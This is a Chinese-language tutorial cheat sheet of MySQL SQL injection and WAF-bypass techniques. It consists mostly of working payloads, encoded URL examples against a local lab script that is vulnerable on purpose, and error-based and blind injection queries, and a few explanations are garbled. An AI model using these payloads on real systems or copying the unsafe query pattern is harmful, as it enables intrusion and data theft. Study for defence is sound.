对于SQLi的一些总结,主要也是为了方便自查而整理,建议收藏。
0x00 Appetizer(开胃菜)
1. 注释
#
--
-- -
--+
//
/**/
内联注释:/!**/
;%00(亲测很好用)
2. 科学计数法
select id,title,links from freebuf where id=0e1union SELECT user,authentication_string,1e1from mysql.`user`;
3. 空白字符
MySQL5的空白字符是:
%09 %0A %0B %0C %0D %A0 %20
4. 特殊符号
4.1 +
select id,title from freebuf where id=8e0union (SELECT+1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));
4.2 -
select id,title from freebuf where id=8e0union (SELECT-1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));
4.3 反引号
select id,title from freebuf where id=8e0union (SELECT 1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.4 ~
select id,title from freebuf where id=8e0union (SELECT~1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.5 !
select id,title from freebuf where id=8e0union (SELECT!1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.6 @
select id,title from freebuf where id=8e0union (SELECT@user,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.7 .1
select/**/title/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;
4.8 ' "
select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;
|
select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;
|
4.9 ()
select id,title,links from freebuf where id=.1union(SELECT(1),(2),(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1);
4.10 {}
在说道这个之前,首先说一下数据库语法时用到的各类括号分别代表什么
<>
:用于分隔字符串,字符串为语法元素的名称,SQL语言的非终止符
::=
:定义操作符。用在生成规则中,分隔规则定义的元素和规则定义。被定义的元素位于操作符的左边,规定定义位于操作符的右边。
[]
:方括号表示规则中的可选元素。方括号中的规则部分可以明确指定也可以省略。
{}
:花括号聚集规则中的元素。在花括号中的规则部分必须明确指定。
|
:替换操作符。该竖线表明竖线之后的规则部分对于竖线之前的部分是可替换的。如果竖线出现的位置不在花括号或方括号内,那么它指定对于该规则定义的元素的一个完整替换项。如果竖线出现的位置在花括号或方括号内,那么它指定花括号对或方括号对最里面内容的替换项。
...
:省略号表明在规则中省略号应用的元素可能被重复多次。如果省略号紧跟在闭花括号”}”之后,那么它应用于闭花括号和开花括号”{“之间的规则部分。如果省略号出现在其他任何元素的后面,那么它只应用于该元素。
!! --
select title from freebuf where id=.1union(select{s table_name}from{f information_schema.tables}where{w table_schema=database()});
5. SQLi能用的函数分类
5.1 字符串截取函数
mid(version(),1,1)
substr(version,1,1)
substring(version(),1,1)
lpad(version(),1,1)
rpad(version(),1,1)
left(version(),1)
reverse(right(reverse(version()),1))
5.2 字符串连接函数
concat(version(),'|','user()') # 拼接字符串时只要有一个为null,则返回null
concat_ws('|',1,2,3) # 不会因为出现null而返回null,会返回其他正常的结果
5.3 字符串转换函数
char(49)
hex('a')
unhex(61)
5.4 报错注入常用函数
1. floor(rand()*2)
+ group by
select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))name from information_schema.tables group by name;
原理:floor(rand(0)*2)
被计算多次导致。
2. updatexml()
select 1,2,3 and updatexml(1,concat(0x7e,user(),0x7e),1);
原理:updatexml()
第二个参数应为xml语句。
限制:最多32字符
3. extractvalue()
select 1,2,3 and extractvalue(1,concat(0x7e,user(),0x7e));
原理:extractvalue()
第二个参数应为xml语句。
限制:最多32字符
经过测试,在mysql 5.7
的版本下,exp()
、geometrycollection()
、multipoint()
、polygon()
、multipolygon()
、linestring()
、multilinestring()
无法使用。
在mysql 5.5
版本下是可以使用上面几个函数进行报错注入的。
原理:BIGINT整型溢出
5.5 时间盲注常用函数
1. benchmark()
select * from freebuf where id=1 and (if(LEFT(VERSION(),1)=5, BENCHMARK(5000000,SHA1('1')),1));
原理:以上面的sql语句为例,BENCHMARK()
将执行SHA1('1')
这个工作5000000次,并统计其所花费的时间。
2. sleep()
select * from freebuf where id=1 and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='A',1,sleep(10));
5.6 布尔盲注常用函数
字符串截取函数+ascii()
配合limit
完成布尔盲注。
0x02 Soup
总结了一下绕过基础过滤的方式。这边不说复写和大小写绕过了,因为大家都知道。这边丹丹我写个基础的测试脚本,接下来的测试都是基于这个脚本而添加的相应的规则:
<?php
error_reporting(0);
$db = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($db, 'SecSpider');
$uid = strtolower($_GET['uid']);
$id = waf($uid);
$query = "select id, title, tag from `freebuf` where id=".$id.";";
echo "sql: ".$query."<br>";
$result = mysqli_query($db, $query);
$row = mysqli_fetch_array($result);
var_dump($row);
function waf($id)
{
$id = str_replace(' ', '',$id);
return $id;
}
2.1 过滤空格
可以用下面几种方式绕过:
/**/ 可代替空格
/!*select all*/ 可代替空格,且能执行中间的sql语句
() 可代替空格
%09 %0A %0B %0C %0D %A0 %20 可代替空格
select~1或select+1或select-1
select`table_name`from 可以不使用空格
+ 可代替空格
{} 在遇到select from时可以利用括号包裹绕过针对查询字段的空格过滤
给个实例:
http://127.0.0.1:9999/php.php?uid=.1union(select~1,+1,(select`table_name`from/*!12345information_schema.tables%0awhere/**/table_schema=database()*/%0dlimit%0d%0a0,1))
关于括号绕过的示例:
http://127.0.0.1:9999/php.php?uid=.1union(select-1,+1,{x+table_name}from{x(information_schema.tables)}where{x(table_schema=database())})
2.2 过滤了逗号(默认加上了过滤空格)
在使用union
的时候是比较害怕逗号被过滤的,可以用join()
绕:
http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`table_name`from/**/information_schema.tables/**/where%0dtable_schema=database())c))
注意这么几个细节:
-
不能这么使用
/!*join*/
-
limit 0,1
中的逗号可以使用limit 1 offset 0
这样的格式来代替
http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`column_name`from/**/information_schema.columns/**/where%0dtable_name=%27freebuf%27/**/limit/**/1/**/offset/**/3)c))
2.3 编码绕过
说了上面两个较为常规的姿势,下面总结一下使用编码绕过的方式:
2.3.1 URL编码
一般不会成功…,这个时候不妨试一试两次编码绕过。
空格 => %20
单引号 => %27
左括号 => %28
右括号 => %29
百分号 => %25
2.3.2 十六进制编码
page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… # 对单个字符编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) #对字符串编码
2.3.3 Unicode编码
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
关于应用的话个人认为有两种:
-
宽字节注入
关于宽字节注入,简单来说就是当单引号(
'
)被转义为'
时可以利用%df%27
进行绕过。宽字节注入产生的原因是因为GBK编码为多字节编码,会认为两个字节代表一个汉字,举个例子,比如我传入的字段是%df%27
,正常解码后为:
而有趣的是在代码层(GBK编码)对`%df%27`的解析实际为`%df%5c%27`:
�'
从而吃掉了``绕过了对`'`的转义
-
MySQL字符编码绕过
MySQL的字符串编码主要是由于MySQL字段的字符集和PHP mysqli客户端设置的字符集不同而导致的。
MySQL字段的默认字符集为
latin1
,在设置客户端字符集为utf8
后,服务端的相关字符集仍为latin1
,所以PHP将数据存入数据库实际上完成了如下的字符编码转换:
utf8 --> utf8 --> latin1
也就是会出现如下的情况:
SELECT 'Ä'='A'; # 结果为1
0x03 Main Course
知道了上面的基础绕过姿势,下面进入正餐,测试脚本和0x02相同,只是往上添加规则罢了。
测试MySQL版本为5.7.23
3.1 各种关键字的绕过
3.1.1 绕and
,or
,union
,where
,limit
,group by
,hex
,substr
绕and和or
and => &&
or => ||
绕union
union => 1 ||
select id,title from freebuf where id=1 || (select substr((select table_name from information_schema.tables where table_schema=database()),1,1))='f' limit 0,1;
绕where
where => case when then else end
select id,title from freebuf where id=1 || (select substr((select (case table_schema WHEN 'SecSpider' then table_name else 'zzzzzzzzzz' END) as c from information_schema.tables group by c limit 1),1,1))='f' limit 0,1;
绕limit
limit => group by c having c=0
select id,title from freebuf where id=1 || (select((select substr((select (case table_schema when 'SecSpider' then table_name else '1' end) as c from information_schema.tables group by c having c=0
),1,1))='f') as d group by d having d=1);
如果表名第一个字符为f
,则返回正常数据,如果不为f
则返回空。
绕group by
group by => group_concat()
select id,title from freebuf where id=1 || (select substr((select replace(group_concat(distinct(case table_schema when 'SecSpider' then table_name else '' end)), ",", "") from information_schema.tables),1,1)='f');
同上,如果表名第一个字符为f
,则返回正常数据,如果不为f
则返回为空。
绕select
其实是用了种取巧的方式即:
select => into outfile
但实际上是用处不大的,这边就不做演示了
绕hex
hex => lower(conv([10-36],10,36))
绕substr或substring()
substr => mid() 或 strcmp(left())
mid()
select (select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1)=lower(conv(14,10,36));
strcmp(left())
select strcmp(left(table_name,1),'f') from information_schema.tables where table_schema=database() limit 1;
3.1.2 绕过严格的字符或数字限制
具体的来说,当waf做了严格的字符限制后,可能某些字符我们是无法使用的,这个时候可以用下面这张表来绕过:
小写字符的释放可以使用lower(conv([10-36],10,36))
3.1.3 绕过information.schema
在MySQL5.6及以上的版本,可以用mysql.innodb_table_stats
和mysql.innodb._index_stats
来代替。
select title from freebuf where id=1 union select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1;
select title from freebuf where id=1 union select table_name from mysql.innodb_index_stats where database_name=database() limit 0,1;
3.2 非常规注入方式
3.2.1 order by注入
为什么要把order by
拉出来单独说呢,因为order by
后面不能使用union。
主要是用盲注,有两种姿势,下面用布尔盲注来演示。
-
使用
if
来进行盲注:select title from freebuf order by if((substr(user(),1,1)='a'),1,(select 1 from information_schema.tables));
这边要注意一下,在报错回显时一定要选择会产生错误的回显,而不要选择`0x00`,在`5.7.23`版本下`0x00`也会返回所有数据及正常情况。
-
使用
case when then else end
来进行盲注:select title from freebuf order by (select case when(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='f') then 1 else 1*(select 1 from information_schema.tables)end)=1 limit 0,1;
3.使用procedure
进行报错注入或盲注:
limit
后的procedure
在5.7.18下已经默认关闭了,在8.0版本下已经被移除。
报错注入:
SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
时间盲注:
SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
-
使用
rand()
进行盲注这个不细说了,和普通的盲注一样。
3.2.2 limit注入
重要的话再说一遍:
limit
后的procedure
在5.7.18下已经默认关闭了,在8.0版本下已经被移除。
报错注入:
SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
时间盲注:
SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
3.2.3 insert、update、delete注入
这边就拿报错注入来说了,其实改一改就是盲注。
-
insert
insert注入的位置在
value
处,可以配合常规的报错语句来完成报错注入,下面举个例子。insert into freebuf (id, title, links, tag, article_id, catch_date, publish_date, come_from) values (2,'1' + updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0) or '','www.baidu.com','test1','2','1','1','baidu');
这边要注意一下在`value`中的报错语句要使用的逻辑,为了使我们的报错语句一定执行,一定要构造逻辑使得报错函数可以执行。
-
update
update注入位置在
set
后。update freebuf set id=3 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) and title='123' and links='123' and tag='1' and article_id='123' and catch_date='1' and publish_date='3' and come_from='1' where id=2;
-
delete
delete注入的位置在
where
后。 -
DELETE from freebuf where id=2 or updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '';
3.3 畸形请求
php+Apache 特性:
waf通常会对请求进行严格的协议判断,比如GET、POST等,但是apache解析协议时却没有那么严格,所以在发包的时候修改为一个畸形的请求也可能绕过waf。
3.4 HPP——通用特性
HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。假设提交的参数即为:
1
|
id=1&id=2&id=3
|
-
Asp.net + iis:
id=1,2,3
-
Asp + iis:
id=1,2,3
-
Php + apache:
id=3
3.5 Trick
3.5.1 利用name_const()
获取MySQL版本信息
在5.7.23版本中并不能使用name_const()
来获取更多的信息,但是仍可以用它来获取数据库版本信息:
1
|
DELETE FROM freebuf WHERE id=2 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';
|
3.5.2 limit下的字段数的判断
在where
条件下的字段数可以用order by
判断,而limit后可以利用1, into @,@
(@为字段数)判断字段数。@为mysql临时变量,
这里要记住要赋予用户变量变量名,不然会出现User variable name '' is illegal
错误。
3.5.3 MySQL注入可报错时绕过information_schema
等关键字的过滤(报错)
首先,如果MySQL注入是报错注入,且waf拦截了information_schema、columns、tables、database、schema等关键字或函数时,我们还可以这样玩:
select i.4 from (select * from (select 1)a, (select 2)b, (select 3)c, (select 4)d, (select 5)e, (select 6)f, (select 7)g, (select 8)h union select * from freebuf)i;
这里是因为我freebuf
表有8个字段,因为利用了union select
所以要构造8个字段。
那如果过滤了union
呢?
-
用
polgon()
爆表名和库名select * from freebuf where id=1 and polygon(id);
原理:`Polygon`从多个`LineString`或`WKB LineString`参数构造一个值 。如果任何参数不表示`LinearRing`(也就是说,不是一个封闭和简单的`LineString`),返回值就是NULL。
如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。
-
用
join
重复查询爆字段爆第一个字段
select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b)as c);
爆后面的字段
select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b using(id))as c);
3.5.4 八字节注入
这种注入的原理是在MySQL中字符串实际上作为八字节的DOUBLE类型来处理。
具体的举一个例子:
如果需要获取的数据大于八字节,可以使用substr()
来将数据分成分片:
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
也就说user()
最多有16个字符,那么现在解码就能看到我们需要获得的数据:
3.5.5 局部变量的使用
为什么要使用局部变量呢?其实使用局部变量就是为了更改SQL语句的逻辑,比如针对于语义的waf过滤了union select from
,那么就可以使用局部变量将语义更改为select from union
,从而绕过逻辑判断。
举个例子:
过滤了如下的逻辑:
select title from freebuf where id=-1 union select table_name from information_schema.tables where table_schema=database() limit 0,1;
可以看到这里的逻辑为:
union select from
利用局部变量可以更改这样的逻辑:
select title from freebuf where id=1|@payload:=(select table_name from information_schema.tables where table_schema=database() limit 0,1) union select @payload;
这样的逻辑为:
select from union
而且结果相同:
3.5.6 emoji
这一点不多说,因为我自己没搞清楚,推荐从容师傅的文章
0x04 Desserts
这里不说具体案例,只说一说思路。
4.1 其他的绕过思路
MySQL是满足图灵完备的,也就是说只要能找到具备循环和判断的,且未被过滤的函数,理论上是可以完成所有正常功能的。并且在不限制字段的情况下,是可以利用可用函数进行编程来完成你想要的自定义查询的。
4.2 逻辑很重要
测waf得时候可以首先想一下waf的判别逻辑,最常见的测试为以下三种逻辑的测试:
union+select
select+from
union+from
利用前文的局部变量来更改逻辑,说不定会有更好的效果。在了解了过滤逻辑的情况下,绕过剩下的过滤就好说多了。
4.3 见招拆招
%23%0a
被过滤了,那么%2d%2d%0a
是否会被过滤呢?
过滤了union、from
,那么1e1union
是否被过滤了?.1from
是否被过滤了呢?
下面说一个分析场景:
union+select拦截
select+from拦截
union+from不拦截
可以看到关键点在于select
。
那么现在想一想下面的问题:
union+select过滤了,那么union/*!50000%0aselect%0aall*/呢?
如果select被识别了,那么select all、select distinct、select distinctrow呢?
如果union/*!50000%0aselect%0aall*/被过滤了,那fuzz一下50000这个五位数呢?
你看可以从这一点看到这么多,再结合前文说的各种方法,不愁没办法。细心是最重要的。
4.4 非惯性思维
-
waf在检测时,对不同的访问方式利用不同的规则进行检测,而这就有可能钻空子。
-
对waf进行长度检测,过长的字符串可能导致waf跳过识别,也有可能直接导致服务器宕机。
0x05 Coffee Or Tea
总结了这么多,也算是把各家的姿势还有自己的一点认识写完了(其实大部分还是学习各位师傅的姿势)。
参考文章:
https://xz.aliyun.com/t/368
https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html
http://blog.51cto.com/wt7315/1891458
https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-SQL-Injection-Challenge–Lessons-Learned/
往期精彩
登陆页面的检测及渗透
渗透实战篇(一)
渗透测试信息收集的方法
常见Web中间件漏洞利用及修复方法
内网渗透 | 流量转发场景测试
Waf从入门到Bypass
实战渗透-看我如何拿下学校的大屏幕
技术篇:bulldog水平垂直越权+命令执行+提权
渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成
感兴趣的可以点个关注!!!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论